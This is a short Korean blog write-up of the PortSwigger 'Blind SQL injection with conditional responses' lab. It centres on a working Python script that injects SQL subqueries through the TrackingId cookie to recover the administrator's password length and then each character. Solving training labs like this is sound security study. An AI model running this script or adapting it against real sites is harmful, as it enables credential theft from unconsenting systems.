본문 바로가기
Portswigger/SQL injection

Portswigger - Blind SQL injection with conditional responses solution

by jh117jh 2023. 8. 4.
728x90

이번 문제는 평소에 하던 blind sql injection인 줄 알고 쉽게 접근했다가 푸는데 오랜 시간이 걸렸던 문제다.

문제 좀 자세히 읽어볼걸...

우선 문제를 요약하자면 tracking 쿠키값을 이용해 웹은 이 사용자가 알려진 사용자인지 확인을 하는데 확인될 경우 Welcome back!이라는 문구를 페이지에 띄운다.

이를 통해 blind sql injection을 시도하는데 쿠키를 기반으로 sql injection을 시도한 건 처음이라 신선했다.

우선 쿠키값들을 확인해주고 우리가 필요한 Trackingid 쿠키를 사용해 공격을 시도할 것이다.

 

import requests
url="https://0a1400c204cf197d82b888a400810061.web-security-academy.net/"
cookies={"TrackingId":"uD0teoefzISYkMq4",
        "session":"DxwCZZf4j61f9dcWug9A25ilGehgvIvx"}
string="0123456789abcdefghijklmnopqrstuvwxyz"

pw=""

for i in range(0,100): #길이구하기
    cookies={"TrackingId":f"uD0teoefzISYkMq4' and (select username from users where username='administrator' and length(password) = {i})='administrator'-- ",
        "session":"DxwCZZf4j61f9dcWug9A25ilGehgvIvx"}
    res=requests.get(url,cookies=cookies)
    
    if "Welcome back!" in res.text:
        length=i
        print("length:",i)
        break
        
for i in range(1,length+1): #pw구하기
    for j in string:
        cookies={"TrackingId":f"uD0teoefzISYkMq4' and (select username from users where username='administrator' and substr(password,{i},1)='{j}')='administrator'-- ",
        "session":"DxwCZZf4j61f9dcWug9A25ilGehgvIvx"}
        res=requests.get(url,cookies=cookies)

        if "Welcome back!" in res.text:
            pw+=j
            print("pw:",pw)
            break
print("password:",pw)

서브쿼리를 사용해 코드를 짜봤다.

 

우선 username은 알고 있으니 서브쿼리가 실행될 때 나오는 username을 기준으로 select문을 작성했고 서브쿼리가 참 일 때 Welcome back! 문자가 출력되므로 password의 길이와 값을 찾을 수 있었다.

 

728x90